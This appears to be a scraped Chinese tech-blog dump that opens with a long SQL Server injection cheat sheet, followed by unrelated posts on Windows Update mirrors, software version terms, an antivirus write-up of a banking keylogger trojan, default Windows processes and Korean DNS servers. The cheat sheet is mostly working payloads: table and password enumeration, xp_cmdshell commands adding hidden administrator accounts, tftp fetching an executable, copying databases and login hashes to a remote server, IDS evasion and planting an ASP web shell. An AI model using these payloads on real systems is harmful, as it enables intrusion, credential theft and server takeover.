and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造:
SELECT * FROM news WHERE id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/

1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。

基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
复制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:/;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;– 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:/web/index.asp;– 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/ *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;– (xp_blank>_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));–
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));–
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));–
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));–
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));–
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));–
语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));–

把路径写到表中去:
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:/–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:/web–
and 0<>(select top 1 paths from dirs1)–

把_blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:/web/down.bak;–

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)

-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:/boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end

declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:/inetpub/wwwroot/foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>

declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–

xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:/
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:/
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息

Windows Update 自动更新服务同步的镜像站点

 

Windows Update自动更新(SUS/软件更新服务)均是与微软的Windows Update自动更新服务同步的镜像站点.

这些Windows Update自动更新均是与微软Windows Update自动更新服务同步的镜像站点,在国内升级的话连接这些站点速度会比微软官方网站快得多。升级方法与效果与连接微软升级服务器完全相同.

如果你的XP,Win2003不能在线升级,可以到网上去查查,搜索一下,听说有了解决不能升级的办法,只需要简单修改一下注册表就行了. 但我还没有找到 ^_^

一下是国内的一些WindowsUpdate服务器
(不一定都能使用,有一些服务器做了限制,只有本地用户才可以)

上海外国语大学WindowsUpdate服务器
http://windowsupdate.shisu.edu.cn/

中原工学院WindowsUpdateService-自动更新服务SUS
http://windowsupdate.zzti.edu.cn

华中科技大学自动更新(Windows Update)服务
http://windowsupdate.hust.edu.cn/

哈尔滨工业大学WindowsUpdate自动更新服务
http://windowsupdate.hit.edu.cn/

西安交通大学软件学院WindowsUpdate服务器
http://202.117.21.253/

厦门大学网络中心WindowsUpdate自动更新服务
http://windowsupdate.xmu.edu.cn

上海交通大学WindowsUpdate自动更新服务
http://windowsupdate.sjtu.edu.cn

上海大学计算中心WindowsUpdate自动更新服务
http://windowsupdate.ccshu.net/windows/

网协本地WindowsUpdate自动更新服务
http://www.nxis.org.cn/

天津外国语学院信息网络中心WindowsUpdate自动更新服务
http://windowsupdate.tjfsu.edu.cn/

河北工业大学软件学院WindowsUpdate自动更新服务
http://windowsupdate.scse.hebut.edu.cn/

华南农业大学WindowsUpdate自动更新服务
http://sus.scau.edu.cn/

四川大学WindowsUpdate服务器
http://windowsupdate.scu.edu.cn/

软件版本号说明

软件版本号说明

 

alphal 内部测试版

beta 外部测试版

demo 演示版

Enhance 增强版或者加强版 属于正式版

Free 自由版

Full version 完全版 属于正式版

shareware 共享版

Release 发行版 有时间限制

Upgrade 升级版

Retail 零售版

Cardware 属共享软件的一种,只要给作者回复一封电邮或明信片即可。
(有的作者并由此提供注册码  等),目前这种形式已不多见。

Plus 属增强版,不过这种大部分是在程序界面及多媒体功能上增强。

Preview 预览版

Corporation & Enterprise 企业版

Standard 标准版

Mini 迷你版也叫精简版只有最基本的功能

Premium — 贵价版

Professional — 专业版

Express — 特别版

Deluxe — 豪华版

Regged — 已注册版

CN — 简体中文版

CHT — 繁体中文版

EN — 英文版

Multilanguage — 多语言版
Rip 是指从原版文件(一般是指光盘或光盘镜像文件)直接将有用的内容(核心内容)分离出来,剔除无用的文档,例如PDF说明文件啊,视频演示啊之类的东西,也 可以算做是精简版吧…但主要内容功能是一点也不能缺少的!另:DVDrip是指将视频和音频直接从DVD光盘里以文件方式分离出来。

trail 试用版(含有某些限制,如时间、功能,注册后也有可能变为正式版)

RC 版。是 Release Candidate 的缩写,意思是发布倒计时,该版本已经完成全部功能并清除大部分的BUG。到了这个阶段只会除BUG,不会对软件做任何大的更改。

RTM 版。这基本就是最终的版本,英文是 Release To Manufactur,意思是发布到生产商。

Original Equipment Manufacturer (OEM)

You may license products through an Original Equipment Manufacturer (OEM).
These products, such as Windows operating systems, come installed when you purchase a new computer.

OEM软件是给电脑生产厂的版本,无需多说。

Full Packaged Product (FPP)–Retail

Physical, shrink-wrapped boxes of licensed product that can be purchased in a local retail store or any local software retailer.

FPP就是零售版(盒装软件),这种产品的光盘的卷标都带有”FPP”字样,比如英文WXP Pro的FPP版本的光盘卷标就是WXPFPP_EN,其中WX表示是Windows XP,P是Professional(H是Home),FPP表明是零售版本,EN是表明是英语。获得途径除了在商店购买之外,某些MSDN用户也可以得 到。

Volume Licensing for Organizations (VLO)

You may enjoy potentially significant savings by acquiring multiple product licenses. Depending on the size and type of your organization.

团体批量许可证(大量采购授权合约),这是为团体购买而制定的一种优惠方式。这种产品的光盘的卷标都带有”VOL”字样,取”Volume”前 3个字母,以表明是批量,比如英文WXP Pro的VOL版本的光盘卷标就是WXPVOL_EN,其中WX表示是Windows XP,P是Professional(VOL没有Home版本),VOL表明是团体批量许可证版本,EN是表明是英语。获得途径主要是集团购买,某些 MSDN用户也可以得到。
这种版本根据购买数量等又细分为“开放式许可证”、“选择式许可证”、“企业协议”、“学术教育许可证”等以下5种版本

Open License
Select License
Enterprise Agreement
Enterprise Subscription Agreement
Academic Volume Licensing

由此可见,平时说的什么select/corp是许可证授权方式,他的出现是为了用若干种不同级别的优惠政策卖同一种软件,通过select /corp许可证授权方式得到的xxx的光盘都是VOL这一种、是并不是有很多种,只不过是相同的VOL光盘配以不同的许可证方式;而Volume Licensing (Product) Keys,即VLK,它所指的只是一个Key(密匙),仅仅是一个为证明产品合法化、以及安装所使用的Key,因为根据VOL计划规定,VOL产品是不需 要激活的!

或者说,VLK不是指一种版本,而是指这种版本在部署(deploy)过程中所需要的Key,而需要VLK这种Key的版本应该叫做VOL!只 不过在实际中,没有必要强调这种叫法、称呼的准确性,加之很多人的VOL版本光盘是通过企业的选择式许可证、企业协议等方式得到的等等原因,所以才会有很 多人叫他为“选择版”等等。
官方网站有一个表格,上面有一句话:“Different products require different Volume Licensing Keys (VLKs). Refer to the table below to make sure you have the correct VLK for your Microsoft product.”,我想这就很好的说明了VLK指的是Key而不是产品了。 很明显的,FPP需要激活,VOL不需要激活。
出处:PConline

网银大盗Ⅱ(Trojan/KeyLog.Dingxa)技术分析报告

“网银大盗Ⅱ”技术分析报告

  病毒名称:网银大盗Ⅱ(Trojan/KeyLog.Dingxa)
  病毒类型:木马
  病毒大小:16284字节
  传播方式:网络
  压缩方式:ASpack   2004年6月2日晚,又截获“网银大盗”新变种,该木马盗取几乎涵盖中国目前所有个人网上银行的帐号、密码、验证码等等,发送给病毒作者。此木马与4月分截获网银大盗(Trojan/PSW.HidWebmon)有异曲同工之处,但涉及银行之多,范围之广是历来最大的,不但给染毒用户造成的损失更大,更直接,也给各网上银行造成更大的安全威胁和信任危机。   具体技术特征如下:   1. 病毒运行后,盗取的网上银行涉及:
  
  银联支付网关–>执行支付
  银联支付网关:
  中国工商银行新一代网上银行
  中国工商银行网上银行:
  工商银行网上支付:
  申请牡丹信用卡
  招商银行个人银行
  招商银行一网通:
  个人网上银行
  中国建设银行网上银行
  登陆个人网上银行;;
  中国建设银行
  中国建设银行网上银行:
  交通银行网上银行
  交通银行网上银行:
  深圳发展银行帐户查询系统
  深圳发展银行|个人银行
  深圳发展银行 | 个人用户申请表
  深圳发展银行:
  民生网个人普通版
  民生银行:
  网上银行–个人普通业务
  华夏银行:
  上海银行企业网上银行
  上海银行
  首都电子商城商户管理平台
  首都电子商城商户管理
  中国在线支付网: IPAY网上支付中心
  中国在线支付网商户
  招商银行网上支付中心
  招商银行网上支付
  个人网上银行-网上支付   2. 病毒算机中创建以下文件:   %SystemDir%svch0st.exe,16284字节,病毒本身

  3. 在注册表的HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrent VersionRun中创建:   “svch0st.exe” = “%SystemDir%svch0st.exe”
  “taskmgr.exe” = “%SystemDir%svch0st.exe”

  4. 病毒运行后会根据IE窗口标题栏判断是否为网上银行页面,如果发现上述提到的银行后,病毒立即开始记录键盘敲击的每一个键值,记录键值包括:   AabCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz1
  !2@3#4$5%6^7&8*9(0)
  {BackSpace}
  {Tab}
  {回车}
  {Shift}
  {Ctrl}
  {Alt}
  {Pause}
  {Esc}
  {空格}
  {End}
  {Home}
  {Left}
  {Right}
  {Up}
  {Down}
  {Insert}
  {Delete}
  ;:=+,<-_.>/?`~][{|]}’
  {Del}
  {F1}
  {F2}
  {F3}
  {F4}
  {F5}
  {F6}
  {F7}
  {F8}
  {F9}
  {F10}
  {F11}
  {F12}
  {NumLock}
  {ScrollLock}
  {PrintScreen}
  {PageUp}
  {PageDown}   5. 病毒截取到键盘值后,会形成信息发到指定http://*****.com/****/get.asp。其信息如下:   http://*****.com/****/get.asp?txt=××银行:<截获的按键>   6.病毒开启3个定时器,每隔几秒钟搜索用户的IE窗口,如果发现用户正在使用上述银行的“个人网上银行”的登陆界面,则尝试记录用户键入的所有键值,然后把窃取到的信息通过get方式发送到指定的服务器。

出处:江民科技

]]>

Win2000/XP系统缺省进程

Win2000/XP系统缺省进程

在Windows 2000 和XP中,系统包含以下缺省进程:
Csrss.exe
Explorer.exe
Internat.exe
Lsass.exe
Mstask.exe
Smss.exe
Spoolsv.exe
Svchost.exe
Services.exe
System
System Idle Process
Taskmgr.exe
Winlogon.exe
Winmgmt.exe 下面列出更多的进程和它们的简要说明 进程名描述 smss.exeSessionManager
csrss.exe 子系统服务器进程
winlogon.exe管理用户登录
services.exe包含很多系统服务
lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。
svchost.exe Windows 2000/XP 的文件保护系统
SPOOLSV.EXE 将文件加载到内存中以便迟后打印。)
explorer.exe资源管理器
internat.exe托盘区的拼音图标)
mstask.exe允许程序在指定时间运行。
regsvc.exe允许远程注册表操作。(系统服务)->remoteregister
winmgmt.exe 提供系统管理信息(系统服务)。
inetinfo.exemsftpsvc,w3svc,iisadmn
tlntsvr.exe tlnrsvr
tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。
termsrv.exe termservice
dns.exe 应答对域名系统(DNS)名称的查询和更新请求。
tcpsvcs.exe 提供在 PXE 可远程启动客户计算机上远程安装 Windows 2000 Professional 的能力。
ismserv.exe 允许在 Windows Advanced Server 站点间发送和接收消息。
ups.exe 管理连接到计算机的不间断电源(UPS)。
wins.exe为注册和解析 NetBIOS 型名称的 TCP/IP 客户提供 NetBIOS 名称服务。
llssrv.exe证书记录服务
ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。
RsSub.exe 控制用来远程储存数据的媒体。
locator.exe 管理 RPC 名称服务数据库。
lserver.exe 注册客户端许可证。
dfssvc.exe管理分布于局域网或广域网的逻辑卷。
clipsrv.exe 支持“剪贴簿查看器”,以便可以从远程剪贴簿查阅剪贴页面。
msdtc.exe 并列事务,是分布于两个以上的数据库,消息队列,文件系统或其它事务保护护资源管理器。
faxsvc.exe帮助您发送和接收传真。
cisvc.exe 索引服务
dmadmin.exe 磁盘管理请求的系统管理服务。
mnmsrvc.exe 允许有权限的用户使用 NetMeeting 远程访问 Windows 桌面。
netdde.exe提供动态数据交换 (DDE) 的网络传输和安全特性。
smlogsvc.exe配置性能日志和警报。
rsvp.exe为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制安装功功能。
RsEng.exe 协调用来储存不常用数据的服务和管理工具。
RsFsa.exe 管理远程储存的文件的操作。
grovel.exe扫描零备份存储(SIS)卷上的重复文件,并且将重复文件指向一个数据存储点,以节省磁盘空间(只对 NTFS 文件系统有用)。
SCardSvr.ex 对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。
snmp.exe包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。
snmptrap.exe接收由本地或远程 SNMP 代理程序产生的陷阱(trap)消息,然后将消息传递到运行在这台计算机上 SNMP 管理程序。
UtilMan.exe 从一个窗口中启动和配置辅助工具。
msiexec.exe依据 .MSI 文件中包含的命令来安装、修复以及删除软件。
]]>

一些国外DNS服务器 韩国[kr]

 

今天在网上闲逛,发现了几个韩国的DNS服务器.
摘了下来,常看韩国站点,或一些被国内屏幂的站点的朋友,可以试试.

单捞哪.
nis.dacom.co.kr internet address = 164.124.101.31
ns2.dacom.co.kr internet address = 203.248.240.31

窍捞炮.
nis.hitel.net internet address = 203.245.15.9
nis2.hitel.net internet address = 211.47.45.23

窍唱齿.
ns.hananet.net internet address = 210.94.0.7
ns2.hananet.net internet address = 210.180.98.69

穿府齿.
ns.kr.psi.net internet address = 203.255.112.34
ns2.kr.psi.net internet address = 203.255.112.4
ns.jp.psi.net internet address = 154.33.63.254
ns.cw.net internet address = 204.70.128.1

内齿.
NS.kornet.net internet address = 168.126.63.1
NS2.kornet.net internet address = 168.126.63.2
VDNS.kornet.net internet address = 168.126.3.30
W4.kornet.net internet address = 168.126.63.21

唱快穿府.
ns.nownuri.net internet address = 203.238.128.24
ns2.nownuri.net internet address = 203.238.128.22

俊掂齿.
ns.edunet4u.net internet address = 210.102.100.1

滴风齿
ns2.thrunet.com internet address = 210.117.65.2
ns.thrunet.com internet address = 210.117.65.100

“欺骗你的眼睛” — 视觉游戏

视觉游戏——“眼见不一定为实”

们会经常说“眼见为实”,但是,要知道,视觉作为最直观获取信息的渠道并不是绝对的靠。这里我推荐的就是比较有名的错觉图片。也许这样的错觉来自于图片的二维属性,但是对于最基本的视觉关注是我在这里提倡的。三维与时间对于空间的作用,相信更值得关注。


]]>